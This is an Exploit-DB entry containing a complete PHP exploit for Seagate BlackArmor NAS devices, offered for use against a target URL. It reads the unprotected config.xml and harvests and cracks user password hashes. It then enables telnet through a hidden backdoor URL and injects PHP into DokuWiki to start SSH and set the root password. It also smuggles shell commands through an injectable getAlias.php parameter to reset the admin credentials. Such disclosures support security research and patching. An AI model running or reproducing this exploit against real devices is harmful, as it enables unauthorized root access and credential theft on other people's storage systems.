Seagate BlackArmor NAS - Privilege Escalation

EDB-ID:

30723




Platform:

Hardware

Date:

2014-01-06


<?php

 

########################################################################

##     Seagate Black Armor Exploit by J. Diel <jeroen@nerdbox.it>     ##

########################################################################

## Public Release v0.2

########################################################################

 

abstract class MD5Decryptor {

    abstract public function probe($hash);

 

    public static function plain($hash, $class = NULL)

    {

        if ($class === NULL) {

            $class = get_called_class();

        } else {

            $class = sprintf("MD5Decryptor%s", $class);

        }

        $decryptor = new $class();

 

        if (count($hash) > 1) {

            foreach ($hash as &$one) {

                $one = $decryptor->probe($one);

            }

        } else {

            $hash = $decryptor->probe($hash);

        }

        return $hash;

    }

 

    public function dictionaryAttack($hash, array $wordlist)

    {

        $hash = strtolower($hash);

        foreach ($wordlist as $word) {

            if (md5($word) === $hash)

                return $word;

        }

    }

}

 

abstract class MD5DecryptorWeb extends MD5Decryptor {

    protected $url;

 

    public function getWordlist($hash)

    {

        $list = FALSE;

        $url = sprintf($this->url, $hash);

        if ($response = file_get_contents($url)) {

            $list[$response] = 1;

            $list += array_flip(preg_split("/\s+/", $response));

            $list += array_flip(preg_split("/(?:\s|\.)+/", $response));

            $list = array_keys($list);

        }

        return $list;

    }

    public function probe($hash) {

        $hash = strtolower($hash);

        return $this->dictionaryAttack($hash, $this->getWordlist($hash));

    }

}

 

class MD5DecryptorGoogle extends MD5DecryptorWeb {

    protected $url = "http://www.google.com/search?q=%s";

}

 

function portcheck($host, $port) {

  $connection = @fsockopen($host, $port);

 

  if (is_resource($connection)) {

    $port_status = "reachable";

    fclose($connection);

  } else {

      $port_status = "unreachable";

  }

  return $port_status;

}

 

function authenticate($url, $username, $password) {

  $ch = curl_init();

 

  curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);

  curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 2);

  curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);

  curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);

 

  curl_setopt($ch, CURLOPT_HEADER, 1);

  curl_setopt($ch, CURLOPT_POST, true);

  curl_setopt($ch, CURLOPT_POSTFIELDS, "p_user=" . $username . "&p_pass=" .
$password);

  curl_setopt($ch, CURLOPT_COOKIEJAR, "cookie.txt");

  curl_setopt($ch, CURLOPT_URL, $url);

 

  curl_exec($ch);

  curl_close($ch);

}

 

function RemoteCodeExec($url, $command) {

     $url = $url . "/backupmgt/getAlias.php?ip=" . urlencode("xx
/etc/passwd; ") . urlencode($command) . ";";

     $handle = fopen($url, "r");

}

 

function RemoteFileExist($url) {

     $ch = curl_init($url);

 

     curl_setopt($ch, CURLOPT_NOBODY, true);

     curl_exec($ch);

 

     $retcode = curl_getinfo($ch, CURLINFO_HTTP_CODE);

     return $retcode;

     curl_close($ch);

}

 

function getWikiSecurityToken($url) {

  $curl = curl_init($url);

  curl_setopt($curl, CURLOPT_RETURNTRANSFER, TRUE);

  curl_setopt($curl, CURLOPT_AUTOREFERER, TRUE);

  curl_setopt($curl, CURLOPT_FOLLOWLOCATION, TRUE);

  curl_setopt($curl, CURLOPT_COOKIEFILE, "cookie.txt");

 

  $html = curl_exec($curl);

 

  $doc = new DOMDocument;

  @$doc->loadHTML($html);

  $tags = $doc->getElementsByTagName('input');

 

  foreach ($tags as $tag) {

      $search = $tag->getAttribute('value');

      if (strlen($search) == "32") {

           return $search;

           exit;

      }

   }

}

 

$version = "0.2";

 

if (!isset($argv[1])) {

 

echo "------------------------------------------------------------------\n";

echo "  Seagate BlackArmor NAS Exploit v" . $version . " (c) 2013 - " .
date('Y') . " by J. Diel \n";

echo "  IT Nerdbox :: http://www.nerdbox.it :: jeroen@nerdbox.it\n";

echo "------------------------------------------------------------------\n";

echo "\nUsage: php " . $argv[0] . " <url>\n\n";

echo "Example Usage: php " . $argv[0] . " http://<targetip | host>\n";

die();

}

 

$curl = curl_init();

$url = $argv[1] . "/admin/config.xml";

 

curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, FALSE);

curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, 2);

curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);

curl_setopt($curl, CURLOPT_URL, $url);

 

$xmldata = curl_exec($curl);

$http_status = curl_getinfo($curl, CURLINFO_HTTP_CODE);

curl_close($curl);

 

if ($http_status == "0") {

                echo "[Error]: The host was not found!\n\n";

                die();

}

 

if ($http_status == "404") {

                echo "[Error]: The page was not found! Are you sure this is
a Seagate BlackArmor NAS?\n";

                die();

}

 

$xml = new SimpleXMLElement($xmldata);

 

$internal_ip = $xml->xpath("network/lan/ip");

$internal_sn = $xml->xpath("network/lan/netmask");

$internal_gw = $xml->xpath("network/lan/gateway");

$dns0 = $xml->xpath("network/lan/dns0");

$dns1 = $xml->xpath("network/lan/dns1");

 

echo "------------------------------------------------------------------\n";

echo "- Network Details: \n";

echo "------------------------------------------------------------------\n";

 

echo "- IP Address         : " . $internal_ip[0] . "/" . $internal_sn[0] .
"\n";

echo "- Gateway / Router   : " . $internal_gw[0] . "/" . $internal_sn[0] .
"\n";

echo "- 1st DNS Server     : " . $dns0[0] . "\n";

echo "- 2nd DNS Server     : " . $dns1[0] . "\n\n";

 

 

$serv_pnp = $xml->xpath("network/service/upnp/enable");

$serv_ftp = $xml->xpath("network/service/ftp/enable");

$serv_ftp_port = $xml->xpath("network/service/ftp/fport");

$serv_nfs = $xml->xpath("network/service/nfs/enable");

 

echo "------------------------------------------------------------------\n";

echo "- Network Services: \n";

echo "------------------------------------------------------------------\n";

$host = explode("/", $argv[1]);

$host = $host[2];

 

echo "- uPNP               : " . $serv_pnp[0] . "\n";

echo "- FTP                : " . $serv_ftp[0] . " (port: " .
$serv_ftp_port[0] . " - " . portcheck("$host", "$serv_ftp_port[0]") . ")\n";

echo "- NFS                : " . $serv_nfs[0] . "\n\n";

 

$shares = $xml->xpath("shares/nasshare/sharename");

$cnt = count($shares);

 

echo "------------------------------------------------------------------\n";

echo "- Network Shares: " . $cnt . "\n";

echo "------------------------------------------------------------------\n";

 

for ($i=0; $i<$cnt; $i++) {

  echo "- " . $shares[$i] . "\n";

}

echo "\n";

 

$username = $xml->xpath("access/users/nasuser/username");

 

while(list( , $node) = each ($username)) {

  $users[] = $node;

}

 

$md5hash = $xml->xpath("access/users/nasuser/htusers");

 

while(list( , $node) = each ($md5hash)) {

 $md5s[] = $node;

}

 

$max = count($users);

 

echo "------------------------------------------------------------------\n";

echo "- User hashes found: \n";

echo "------------------------------------------------------------------\n";

 

$pwdcount = 0;

 

for ($i=0; $i<$max; $i++) {

 

  $file = "md5.hash";

  $fh = fopen($file, (file_exists($file)) ? "a" : "w");

  fclose($fh);

 

  $contents = file_get_contents($file);

  $pattern = preg_quote($md5s[$i], "/");

  $pattern = "/^.*$pattern.*\$/m";

 

  if (preg_match_all($pattern, $contents, $matches)){

     $pwdcount++;

 

     if ($users[$i] != "admin") {

     } else {

                $admin_found = "1";

        $admin_password = explode(":", implode("\n", $matches[0]));

     }

     echo "- " . implode("\n", $matches[0]) . " (username: " . $users[$i] .
")\n";

     $next_user = $users[$i];

     $next_pass = explode(":", implode("\n", $matches[0]));

 

  } else {

      $hashes[] = array("$md5s[$i]", "$users[$i]");

      echo "- " . $md5s[$i] . " (username: " . $users[$i] . ")\n";

  }

}

 

if ($pwdcount == 0) {

      echo
"\n------------------------------------------------------------------\n";

      echo "- No passwords could be found in local storage! \n";

      echo
"------------------------------------------------------------------\n";

     echo "- Search for hashes online?  Type 'yes' to continue: ";

 

      $handle = fopen ("php://stdin","r");

      $line = fgets($handle);

 

      if(trim($line) == "yes"){

                $decryptors = array("Google");

 

        echo
"\n------------------------------------------------------------------\n";

        echo "- Searching online for passwords: \n";

        echo
"------------------------------------------------------------------\n";

                foreach ($hashes as $hash) {

                                echo "- " . $hash[0];

                                foreach($decryptors as $decrytor) {

                                if (NULL !== ($plain =
MD5Decryptor::plain($hash[0], $decrytor))) {

                                                echo " - found: $plain";

                                                                $pwdcount++;

 

                                                                $next_user =
$hash[1];

                                                                $next_pass =
$plain;

 

                                                                if
($next_user == "admin") {

 
$admin_found = "1";

 
$admin_pass = $plain;

                                                                }

 

                                                                $fh =
fopen($file, (file_exists($file)) ? "a" : "w");

                                                                fwrite($fh,
$hash[0] . ":" . $plain . "\n");

                                                                fclose($fh);

                                                break;

                                } else {

                                                    echo " - not found!";

                                                 }

                                }

                                echo "\n";

                }

 

      }

}

 

if ($pwdcount != 0) {

  echo "\nTotal number of passwords found: " . $pwdcount . "\n\n";

  echo
"------------------------------------------------------------------\n";

  echo "- Services: \n";

  echo
"------------------------------------------------------------------\n";

 

  if (isset($admin_found)) {

                $telnet_user = "admin";

                if (isset($admin_password[1])) {

                                $telnet_pass = $admin_password[1];

                } else {

                                $telnet_pass = $admin_pass;

                }

  } else {

                $telnet_user = $next_user;

                $telnet_pass = $next_pass[1];

  }

 

  $telnet_status = portcheck("$host", "23");

 

  if ($telnet_status == "reachable") {

                echo "- The telnet daemon is already running: [skipped]\n";

  } else {

 

      echo "- Enable the telnet daemon? Type 'yes' to continue: ";

 

      $handle = fopen ("php://stdin","r");

      $line = fgets($handle);

 

      if(trim($line) != "yes"){

      } else {

          echo "- Trying to start the telnet daemon   : ";

 

          $url = $argv[1];

 

          authenticate($url, $telnet_user, $telnet_pass);

 

          $ch = curl_init();

          curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);

          curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 2);

          curl_setopt($ch, CURLOPT_POST, false);

          curl_setopt($ch, CURLOPT_HTTPHEADER,

                array(

                  "Authorization: Basic SmVXYWI6c3lzYWRtaW4="

          ));

          curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);

          curl_setopt($ch, CURLOPT_COOKIEJAR, "cookie.txt");

          curl_setopt($ch, CURLOPT_COOKIEFILE, "cookie.txt");

          curl_setopt($ch, CURLOPT_URL, $url .
"/admin/sxmJEWAB/SXMjewab.php?telnet=jewab&debug=1");

          curl_setopt($ch, CURLOPT_TIMEOUT, 5);

          curl_setopt($ch, CURLOPT_CONNECTTIMEOUT,5);

          curl_exec($ch);

          curl_close($ch);

 

          echo "[done]\n";

          echo "- Verifiying telnet daemon status     : ";

 

          $telnet_status = portcheck("$host", "23");

          if ($telnet_status == "reachable") {

                    echo "[verified]\n";

          } else {

                      echo "[error]\n";

                      echo "- This is possible if portforwarding is not
enabled for telnet\n";

          }

       }

  }

 

  $xml = new SimpleXMLElement($xmldata);

  $wiki = $xml->xpath("enableddokuwikiserver");

  $wiki = $wiki[0];

 

  if ($wiki == "yes") {

        echo "- The Wiki server is enabled          : [skipped]\n";

  } else {

        echo "- Enabeling the Wiki server           : ";

 

        $url = $argv[1];

       $ch = curl_init();

 

        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);

        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 2);

        curl_setopt($ch, CURLOPT_POST, true);

        curl_setopt($ch, CURLOPT_POSTFIELDS,
'enablewiki=yes&agree=yes&btn=Submit');

        curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);

        curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookie.txt');

        curl_setopt($ch, CURLOPT_COOKIEFILE, "cookie.txt");

        curl_setopt($ch, CURLOPT_URL, $url . '/admin/dokuwiki_service.php');

 

        curl_exec($ch);

        curl_close($ch);

 

        echo "[done]\n";

  }

 

  echo "- Retrieving wiki security token      : ";

  $sectok = getWikiSecurityToken($argv[1] .
"/wiwiki/doku.php?do=login&id=start");

 

  if (isset($sectok)) {

    echo "[found]\n";

  } else {

     echo "[Not Found]\n";

     exit;

  }

 

  if (isset($admin_found)) {

                echo "- Logging in to the wiki server       : ";

        $url = $argv[1];

        $ch = curl_init();

 

        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);

        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 2);

        curl_setopt($ch, CURLOPT_POST, true);

        curl_setopt($ch, CURLOPT_POSTFIELDS, "u=" . $telnet_user . "&p=" .
$telnet_pass . "§ok=" . $sectok ."&do=login&id=start");

        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);

                curl_setopt($ch, CURLOPT_AUTOREFERER, TRUE);

                curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);

 

        curl_setopt($ch, CURLOPT_COOKIEJAR, "cookie.txt");

        curl_setopt($ch, CURLOPT_COOKIEFILE, "cookie.txt");

       curl_setopt($ch, CURLOPT_URL, $url . "/wiwiki/doku.php");

 

        curl_exec($ch);

                $http_status = curl_getinfo($ch, CURLINFO_HTTP_CODE);

        curl_close($ch);

 

                echo "[done]\n";

 

        echo "- Enabling PHP in wiki server         : ";

                $sectok = getWikiSecurityToken($url .
"/wiwiki/doku.php?id=start&do=admin&page=config");

 

        $ch = curl_init();

 

        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);

        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 2);

        curl_setopt($ch, CURLOPT_POST, true);

        curl_setopt($ch, CURLOPT_POSTFIELDS, "config[phpok]=1§ok=" .
$sectok . "&do=admin&page=config&save=1&submit=Save");

        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);

        curl_setopt($ch, CURLOPT_AUTOREFERER, 1);

        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);

 

        curl_setopt($ch, CURLOPT_COOKIEFILE, "cookie.txt");

        curl_setopt($ch, CURLOPT_URL, $url . "/wiwiki/doku.php?id=start");

 

        curl_exec($ch);

        curl_close($ch);

 

        echo "[done]\n";

                echo
"\n------------------------------------------------------------------\n";

                echo "- Rooting the NAS: \n";

        echo
"------------------------------------------------------------------\n";

        echo "- Enter the new root password: ";

 

        $handle = fopen ("php://stdin","r");

        $line = fgets($handle);

 

        if(trim($line) == ""){

                  $root_password = "mypassword";

                  echo "- No root password chosen! Setting our own: '" .
$root_password . "'\n";

        } else {

                   $root_password = preg_replace( "/\r|\n/", "", $line);

        }

 

        $ch = curl_init();

 

        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);

        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 2);

        curl_setopt($ch, CURLOPT_POST, true);

        curl_setopt($ch, CURLOPT_POSTFIELDS, "sectok=" . $sectok .
"&id=playground:playground&do[save]=Save&wikitext=<php>exec(\"/usr/sbin/drop
bear start;\"); exec(\"echo '" . $root_password . "' | passwd
--stdin;\");</php>");

        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);

        curl_setopt($ch, CURLOPT_AUTOREFERER, 1);

        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);

 

        curl_setopt($ch, CURLOPT_COOKIEFILE, "cookie.txt");

        curl_setopt($ch, CURLOPT_URL, $url . "/wiwiki/doku.php");

        curl_exec($ch);

        curl_close($ch);

 

                echo "- The devices is rooted! The password is: " .
$root_password ."\n";

                echo "- The SSH daemon was also enabled!!\n\n";

 

  } else {

                echo "- Can't root the device due to lack of admin
credentials\n";

 

        echo "- However, do you want to reset the admin password? [yes]:"; 

        $handle = fopen ("php://stdin","r");

        $line = fgets($handle);

 

        if(trim($line) == "yes") {

 

        $httpResponseCode = RemoteFileExist($argv[1] .
"/backupmgt/immediate_log/instance.log");

 

                if ($httpResponseCode == "200") {

                        RemoteCodeExec($argv[1], "sed '11,16d'
/proto/SxM_webui/d41d8cd98f00b204e9800998ecf8427e.php >
/proto/SxM_webui/reset.php");

                        RemoteCodeExec($argv[1], "chmod 755
/proto/SxM_webui/reset.php");

 

                        echo "- Now go to: " . $argv[1] . "/reset.php to
reset the default credentials to admin/admin.\n";

                        exit;

                } else {

                        echo "Something went wrong, the HTTP error code is:
" . $httpResponseCode . "\n"; 

                }

        } else {

                echo "Exit....\n";

                exit; 

        }

  }

 

} else {

                echo "- No passwords were found!\n";

 

        echo "- However, do you want to reset the admin password? [yes]:"; 

        $handle = fopen ("php://stdin","r");

        $line = fgets($handle);

 

        if(trim($line) == "yes") {

 

                $httpResponseCode = RemoteFileExist($argv[1] .
"/backupmgt/immediate_log/instance.log");

 

                                if ($httpResponseCode == "200") {

                                                RemoteCodeExec($argv[1],
"sed '11,16d' /proto/SxM_webui/d41d8cd98f00b204e9800998ecf8427e.php >
/proto/SxM_webui/reset.php");

                                RemoteCodeExec($argv[1], "chmod 755
/proto/SxM_webui/reset.php");

 

                                                echo "- Now go to: " .
$argv[1] . "/reset.php to reset the default credentials to admin/admin.\n";

                                                exit;

                                } else {

                                echo "Something went wrong, the HTTP error
code is: " . $httpResponseCode . "\n"; 

                                }

        } else {

                                echo "Exit....\n";

                                exit; 

                }

}

 

?>